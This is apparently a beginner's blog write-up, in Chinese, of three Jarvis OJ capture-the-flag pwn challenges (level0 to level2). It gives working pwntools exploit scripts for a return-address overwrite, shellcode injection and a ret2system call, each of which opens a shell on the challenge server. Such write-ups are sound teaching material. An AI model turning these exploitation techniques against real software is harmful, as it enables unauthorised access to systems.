Jarvis oj level系列小记

最新推荐文章于 2024-03-16 21:19:11 发布

原创最新推荐文章于 2024-03-16 21:19:11 发布 · 319 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#pwn

pwn 专栏收录该内容

1 篇文章

订阅专栏

本文通过三个CTF Pwn题目，详细介绍了利用栈溢出、shellcode和system函数进行攻击的方法。从level0到level2，展示了如何使用Python脚本构造payload，包括64位和32位环境下的技巧。

level0
首先我们先checksec一下level0文件，

在这里插入图片描述
可以尝试栈溢出
可以看到level0是64位文件，所以将level0拖入ida_x64，这类题简单，直接给出了system和/bin/sh

在这里插入图片描述
再查看vulnerable_function函数

在这里插入图片描述

同时，read可以读入0x200个字符，所以可以实现覆盖callsystem的地址
代码如下

from pwn import *
p = remote("pwn2.jarvisoj.com",9881) 
d = 'a'*0x80
f = 'a'*8
sys_addr = 0x0000000000400596
payload = d+ f + p64(sys_addr)
p.send(payload)
p.interactive()

效果如下

在这里插入图片描述
level1
首先checksec level1

在这里插入图片描述
发现文件是32位的，还发现了nx保护是关闭的，将文件拖入ida32

在这里插入图片描述
发现并没有system，我们点vulnerable_function函数

发现了一个printf函数，综合来看可以执行shellcode
代码如下

from pwn import *
shellcode = asm(shellcraft.sh())
p = remote('pwn2.jarvisoj.com', 9877)
text = p.recvline()[14: -2]
buf_addr = int(text, 16)
payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
p.send(payload)
p.interactive()

脚本执行

在这里插入图片描述
level2
第一步先checksec level2

在这里插入图片描述
level2是32位，就拖入32位ida

在这里插入图片描述
发现有system，进入字符串发现有bin/sh

在这里插入图片描述
再查看vulnerable_function函数

在这里插入图片描述
综上条件
脚本如下

from pwn import * 
p = remote('pwn2.jarvisoj.com','9878')
elf = ELF('./level2')
sh_addr = elf.search('/bin/sh').next()
system_addr = elf.symbols['system']
exit_addr = elf.symbols['read']
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + p32(exit_addr) + p32(sh_addr)
p.send(payload)
p.interactive()

效果如下

在这里插入图片描述
暂时先写到这，细节以后有时间补，小白所做，大佬绕过，新手食用。